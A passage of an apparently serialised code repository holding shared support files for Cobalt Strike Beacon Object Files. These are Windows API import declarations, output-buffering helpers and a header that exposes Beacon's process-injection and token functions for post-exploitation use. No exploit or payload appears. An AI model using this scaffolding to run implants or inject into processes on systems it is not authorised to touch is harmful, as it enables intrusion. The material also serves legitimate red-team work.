Rpcrt4$UuidToStringA(const UUID* Uuid, RPC_CSTR* StringUuid);\n\n\n/* Random */\nDECLSPEC_IMPORT void WINAPI MSVCRT$srand(int initial);\nDECLSPEC_IMPORT int WINAPI MSVCRT$rand();\n\n\n/* DateTime */\nDECLSPEC_IMPORT time_t WINAPI MSVCRT$time(time_t* time);\n\n\n/* SystemInfo */\nDECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFeature);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer);\n\n\n\n\n\n\n#ifdef __cplusplus\n}\n#endif\n\n\n/* helper macros */\n\n#define malloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\t/* trustedsec */\n\n/* 8/2/2025: THIS BROKE FOR SOME REASON */\n//#define free(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, (LPVOID)addr)\t/* trustedsec */\n/* reassigned this to the MSVCRT free */\nextern \"C\" DECLSPEC_IMPORT void __cdecl MSVCRT$free(void* _Memory);\n#define free(addr)    MSVCRT$free((void*)addr)  \n\n#define ZeroMemory(address, size) memset(address, 0, size);\n\n/* GDI+ for JPG stuffs */\nextern \"C\" DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR lpLibFileName);\nextern \"C\" DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM * ppstm);\n\n#define LoadLibraryA              KERNEL32$LoadLibraryA\n#define CreateStreamOnHGlobal     OLE32$CreateStreamOnHGlobal\n\n\n/* 7/2/2025 update - Hotfix for CS 4.9 support */\nextern \"C\" DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName);\nextern \"C\" DECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);\nDECLSPEC_IMPORT LONG_PTR WINAPI USER32$GetWindowLongPtrA(HWND hWnd, int nIndex);\nDECLSPEC_IMPORT LONG_PTR WINAPI USER32$SetWindowLongPtrA(HWND hWnd, int nIndex, LONG_PTR dwNewLong);\n\n/* ----------------------------------- DEFINITIONS ------------------------------------------*/\n\n/* 7/2/2025 update */\n#define GetModuleHandleA         KERNEL32$GetModuleHandleA\n#define GetProcAddress           KERNEL32$GetProcAddress\n#define GetWindowLongPtrA        USER32$GetWindowLongPtrA\n#define SetWindowLongPtrA        USER32$SetWindowLongPtrA\n\n\n/* window functions */\n#define ShowWindow               User32$ShowWindow\n#define PrintWindow              User32$PrintWindow\n#define SetLayeredWindowAttributes  User32$SetLayeredWindowAttributes\n#define SetWindowPos             User32$SetWindowPos\n#define GetWindowPlacement       User32$GetWindowPlacement\n#define IsWindowVisible          User32$IsWindowVisible\n#define UpdateWindow             User32$UpdateWindow\n#define GetWindowRect            User32$GetWindowRect\n#define GetWindowLongA           User32$GetWindowLongA\n#define SetWindowLongA           User32$SetWindowLongA\n#define EnumWindows              User32$EnumWindows\n#define GetWindowThreadProcessId User32$GetWindowThreadProcessId\n\n/* COM */\n#define\tCLSIDFromString\t\t\tOLE32$CLSIDFromString\n#define\tCoCreateInstance\t\tOLE32$CoCreateInstance\n#define CoInitializeEx\t\t\tOLE32$CoInitializeEx\n#define CoUninitialize\t\t\tOLE32$CoUninitialize\n#define IIDFromString\t\t\tOLE32$IIDFromString\n#define CoInitialize\t\t\tOLE32$CoInitialize\n#define CoCreateInstanceEx\t\tOLE32$CoCreateInstanceEx\n#define SysAllocString\t\t\tOleAut32$SysAllocString\n#define\tVariantInit\t\t\t\tOLEAUT32$VariantInit\n#define CoInitialize\t\t\tOLE32$CoInitialize\n#define CoInitializeSecurity\tOLE32$CoInitializeSecurity\n\n/* memory */\n#define HeapFree\t\t\t\tKERNEL32$HeapFree\n#define HeapAlloc\t\t\t\tKERNEL32$HeapAlloc\n#define HeapReAlloc\t\t\t\tKERNEL32$HeapReAlloc\n#define memcpy\t\t\t\t\tMSVCRT$memcpy\n#define malloc\t\t\t\tMSVCRT$malloc\n#define memset\t\t\t\t\tMSVCRT$memset\n\n\n/* process */\n#define GetProcessHeap\t\t\tKERNEL32$GetProcessHeap\n#define CreateProcessWithLogonW ADVAPI32$CreateProcessWithLogonW\n#define OpenProcess\t\t\t\tKERNEL32$OpenProcess\n#define VirtualQueryEx\t\t\tKERNEL32$VirtualQueryEx\n#define GetProcessId\t\t\tKERNEL32$GetProcessId\n#define\tReadProcessMemory\t\tKERNEL32$ReadProcessMemory\n#define GetCurrentProcess\t\tKERNEL32$GetCurrentProcess\n#define Sleep\t\t\t\t\tKERNEL32$Sleep\n#define LookupPrivilegeValueW\tADVAPI32$LookupPrivilegeValueW\n#define\tGetModuleFileNameExW\tPSAPI$GetModuleFileNameExW\n\n\n/* debug */\n#define EnumerateLoadedModulesW64 DBGHELP$EnumerateLoadedModulesW64\n#define SymInitializeW\t\t\tDBGHELP$SymInitializeW\n#define SymCleanup\t\t\t\tDBGHELP$SymCleanup\n\n\n/* filesystem */\n#define CreateFileA\t\t\t\tKERNEL32$CreateFileA\n#define SetFilePointer\t\t\tKERNEL32$SetFilePointer\n#define SetFilePointerEx\t\tKERNEL32$SetFilePointerEx\n#define WriteFile\t\t\t\tKERNEL32$WriteFile\n#define GetFileSizeEx\t\t\tKERNEL32$GetFileSizeEx\n#define GetFileVersionInfoSizeW\tVERSION$GetFileVersionInfoSizeW\n#define GetFileVersionInfoW\t\tVERSION$GetFileVersionInfoW\n#define\tVerQueryValueW\t\t\tVERSION$VerQueryValueW\n\n/* error */\n#define GetLastError\t\t\tKERNEL32$GetLastError \n\n\n/* registry */\n#define RegOpenKeyExA\t\t\tADVAPI32$RegOpenKeyExA\n#define RegDeleteTreeA\t\t\tADVAPI32$RegDeleteTreeA\n#define RegCreateKeyExA\t\t\tADVAPI32$RegCreateKeyExA\n#define RegSetValueExA\t\t\tADVAPI32$RegSetValueExA\n\n\n/* directory */\n#define RemoveDirectoryA\t\tKERNEL32$RemoveDirectoryA\n#define CreateDirectoryA\t\tKERNEL32$CreateDirectoryA\n#define MoveFileA\t\t\t\tKERNEL32$MoveFileA\n#define PathIsDirectoryA\t\tSHLWAPI$PathIsDirectoryA\n#define PathFileExistsA\t\t\tSHLWAPI$PathFileExistsA\n\n\n/* strings */\n#define strchr\t\t\t\t\tMSVCRT$strchr\n#define strcat_s\t\t\t\tMSVCRT$strcat_s\n#define strcpy_s\t\t\t\tMSVCRT$strcpy_s\n#define strncpy_s\t\t\t\tMSVCRT$strncpy_s\n#define snprintf\t\t\t\tMSVCRT$_snprintf\t/*beacon can't find snprintf without the preceeding '_' */\n#define wcslen\t\t\t\t\tMSVCRT$wcslen\n#define vsnprintf\t\t\t\tMSVCRT$vsnprintf\n#define lstrlenW\t\t\t\tKERNEL32$lstrlenW\n#define lstrcpyW\t\t\t\tKERNEL32$lstrcpyW\n#define strcmp\t\t\t\t\tMSVCRT$strcmp\n#define lstrcpyA\t\t\t\tKernel32$lstrcpyA\n#define\tlstrcatA\t\t\t\tKernel32$lstrcatA\n#define\tlstrcpynA\t\t\t\tKernel32$lstrcpynA\n#define lstrlenW\t\t\t\tKERNEL32$lstrlenW\n#define lstrcpyW\t\t\t\tKERNEL32$lstrcpyW\n#define sprintf\t\t\t\t\tMSVCRT$sprintf\n#define strlen                  MSVCRT$strlen\n\n\n/* RPC */\n#define RpcStringFreeA\t\t\tRpcrt4$RpcStringFreeA \n#define UuidCreate\t\t\t\tRpcrt4$UuidCreate\n#define UuidToStringA\t\t\tRpcrt4$UuidToStringA\n\n\n/* Random */\n#define srand\t\t\t\t\tMSVCRT$srand\n#define rand\t\t\t\t\tMSVCRT$rand\n\n\n/* DateTime */\n#define time\t\t\t\t\tMSVCRT$time\n\n\n/* SystemInfo */\n#define GetSystemInfo\t\t\tKERNEL32$GetSystemInfo\n#define GetUserNameW\t\t\tADVAPI32$GetUserNameW\n#define IsProcessorFeaturePresent\tKERNEL32$IsProcessorFeaturePresent\n\n#else\n\n#endif\n"
  },
  {
    "path": "common/anticrash.c",
    "content": "#include <stdarg.h>\n#include \"bofdefs.h\"\n//For some reason char *[] is invalid in BOF files\n//So this function stands to work around that problem\n\n//makes a char *[] since we can't seem to otherwise\n//count is the number of strings you're passing in will crash if this is wrong\n\n//Must call intFree on returned result\nchar ** antiStringResolve(unsigned int count, ...)\n{\n    va_list strings;\n    va_start(strings, count);\n    char ** result = intAlloc(sizeof(char *) * count);\n    for(int i = 0; i < count; i++)\n    {\n        result[i] = (char *)va_arg(strings, char *);\n    }\n    va_end(strings);\n    return result;\n}"
  },
  {
    "path": "common/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n#ifdef BOF\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            //BeaconFormatPrintf(&output, transferBuffer); // copy it to cobalt strikes output buffer\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n#else\n#define internal_printf printf\n#define printoutput \n#define bofstart \n#endif\n\n// Changes to address issue #65.\n// We can't use more dynamic resolve functions in this file, which means a call to HeapRealloc is unacceptable.\n// To that end if you're going to use this function, declare how many libraries you'll be loading out of, multiple functions out of 1 library count as one\n// Normallize your library name to uppercase, yes I could do it, yes I'm also lazy and putting that on the developer.\n// Finally I'm going to assume actual string constants are passed in, which is to say don't pass in something to this you plan to free yourself\n// If you must then free it after bofstop is called\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\n//GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary are gimmie functions\n//\n// DynamicLoad\n// Retrieves a function pointer given the BOF library-function name\n// szLibrary           - The library containing the function you want to load\n// szFunction          - The Function that you want to load\n// Returns a FARPROC function pointer if successful, or NULL if lookup fails\n//\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = Kernel32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = Kernel32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "common/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Cobalt Strike 4.1.\n */\n\n/* data API */\n#pragma once\n\n#ifdef BOF\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_OUTPUT_UTF8 0x20\n\nDECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);\nDECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);\n#endif\n"
  },
  {
    "path": "common/bofdefs.h",
    "content": "#pragma once\n#pragma intrinsic(memcmp, memcpy,strcpy,strcmp,_stricmp,strlen)\n#include <windows.h>\n#include <process.h>\n#include <winternl.h>\n#include <imagehlp.h>\n#include <iphlpapi.h>\n#include <stdio.h>\n#include <tlhelp32.h>\n#include <windns.h>\n#include <dbghelp.h>\n#include <winldap.h>\n#include <winnetwk.h>\n#include <wtsapi32.h>\n#include <shlwapi.h>\n\n//KERNEL32\n#ifdef BOF\nWINBASEAPI void * WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nWINBASEAPI int WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc (UINT, SIZE_T);\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree (HLOCAL);\nWINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID);\nWINBASEAPI DWORD WINAPI KERNEL32$FormatMessageA (DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments);\nWINBASEAPI int WINAPI Kernel32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);\nWINBASEAPI int WINAPI KERNEL32$FileTimeToLocalFileTime (CONST FILETIME *lpFileTime, LPFILETIME lpLocalFileTime);\nWINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime (CONST FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime);\nWINBASEAPI int WINAPI KERNEL32$GetDateFormatW (LCID Locale, DWORD dwFlags, CONST SYSTEMTIME *lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate);\nWINBASEAPI VOID WINAPI KERNEL32$GetSystemTimeAsFileTime (LPFILETIME lpSystemTimeAsFileTime);\nWINBASEAPI VOID WINAPI KERNEL32$GetLocalTime (LPSYSTEMTIME lpSystemTime);\nWINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToFileTime (CONST SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime);\nWINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToTzSpecificLocalTime (CONST TIME_ZONE_INFORMATION *lpTimeZoneInformation, CONST SYSTEMTIME *lpUniversalTime, LPSYSTEMTIME lpLocalTime);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GlobalMemoryStatusEx (LPMEMORYSTATUSEX lpBuffer);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GetDiskFreeSpaceExA (LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, PULARGE_INTEGER lpTotalNumberOfBytes, PULARGE_INTEGER lpTotalNumberOfFreeBytes);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID);\nDECLSPEC_IMPORT DWORD KERNEL32$GetCurrentProcessId(VOID);\nWINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID);\nWINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);\nWINBASEAPI DWORD WINAPI KERNEL32$GetTickCount (VOID);\nWINBASEAPI ULONGLONG WINAPI KERNEL32$GetTickCount64 (VOID);\nWINBASEAPI LPVOID WINAPI KERNEL32$CreateFiber (SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter);\nWINBASEAPI LPVOID WINAPI KERNEL32$ConvertThreadToFiber (LPVOID lpParameter);\nWINBASEAPI WINBOOL WINAPI KERNEL32$ConvertFiberToThread (VOID);\nWINBASEAPI VOID WINAPI KERNEL32$DeleteFiber (LPVOID lpFiber);\nWINBASEAPI VOID WINAPI KERNEL32$SwitchToFiber (LPVOID lpFiber);\nWINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);\nWINBASEAPI VOID WINAPI KERNEL32$Sleep (DWORD dwMilliseconds);\nWINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileW (LPCWSTR lpFileName);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\nWINBASEAPI DWORD WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh);\nWINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\nWINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameExW (COMPUTER_NAME_FORMAT NameType, LPWSTR lpBuffer, LPDWORD nSize);\nWINBASEAPI int WINAPI KERNEL32$lstrlenW (LPCWSTR lpString);\nWINBASEAPI LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2);\nWINBASEAPI LPWSTR WINAPI KERNEL32$lstrcpynW (LPWSTR lpString1, LPCWSTR lpString2, int iMaxLength);\nWINBASEAPI DWORD WINAPI KERNEL32$GetFullPathNameW (LPCWSTR lpFileName, DWORD nBufferLength, LPWSTR lpBuffer, LPWSTR *lpFilePart);\nWINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesW (LPCWSTR lpFileName);\nWINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryW (DWORD nBufferLength, LPWSTR lpBuffer);\nWINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileW (LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData);\nWINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileA (char * lpFileName, LPWIN32_FIND_DATA lpFindFileData);\nWINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileW (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);\nWINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileA (HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData);\nWINBASEAPI WINBOOL WINAPI KERNEL32$FindClose (HANDLE hFindFile);\nWINBASEAPI VOID WINAPI KERNEL32$SetLastError (DWORD dwErrCode);\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)\n#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)\nDECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes);\nDECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem);\nDECLSPEC_IMPORT LPTCH WINAPI KERNEL32$GetEnvironmentStrings();\nDECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$FreeEnvironmentStringsA(LPSTR);\nWINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW (LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Module32First(HANDLE hSnapshot,LPMODULEENTRY32 lpme);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Module32Next(HANDLE hSnapshot,LPMODULEENTRY32 lpme);\nWINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName);\nWINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName);\nWINBASEAPI WINBOOL WINAPI KERNEL32$FreeLibrary (HMODULE hLibModule);\nDECLSPEC_IMPORT WINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR);\nDECLSPEC_IMPORT int WINAPI KERNEL32$GetLocaleInfoEx(LPCWSTR lpLocaleName, LCTYPE LCType, LPWSTR lpLCData, int cchData);\nWINBASEAPI int WINAPI KERNEL32$GetSystemDefaultLocaleName(LPCWSTR lpLocaleName, int cchLocaleName);\nDECLSPEC_IMPORT LCID WINAPI KERNEL32$LocaleNameToLCID(LPCWSTR lpName, DWORD dwFlags);\nDECLSPEC_IMPORT int WINAPI KERNEL32$GetDateFormatEx(LPCWSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpData, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate, LPCWSTR lpCalendar);\n\n\n//WTSAPI32\nDECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSEnumerateSessionsA(LPVOID, DWORD, DWORD, PWTS_SESSION_INFO*, DWORD*);\nDECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSQuerySessionInformationA(LPVOID, DWORD, WTS_INFO_CLASS , LPSTR*, DWORD*);\nDECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSFreeMemory(PVOID);\n\n//Iphlpapi.lib\n//ULONG WINAPI IPHLPAPI$GetAdaptersInfo (PIP_ADAPTER_INFO AdapterInfo, PULONG SizePointer);\nDECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetAdaptersInfo(PIP_ADAPTER_INFO,PULONG);\nDECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetIpForwardTable (PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, WINBOOL bOrder);\nDECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetNetworkParams(PFIXED_INFO,PULONG);\nDECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetUdpTable (PMIB_UDPTABLE UdpTable, PULONG SizePointer, WINBOOL Order);\nDECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG SizePointer, WINBOOL Order);\nDECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetIpNetTable(PMIB_IPNETTABLE IpNetTable,PULONG SizePointer, BOOL Order);\n\n//MSVCRT\nWINBASEAPI char *__cdecl MSVCRT$_ultoa(unsigned long 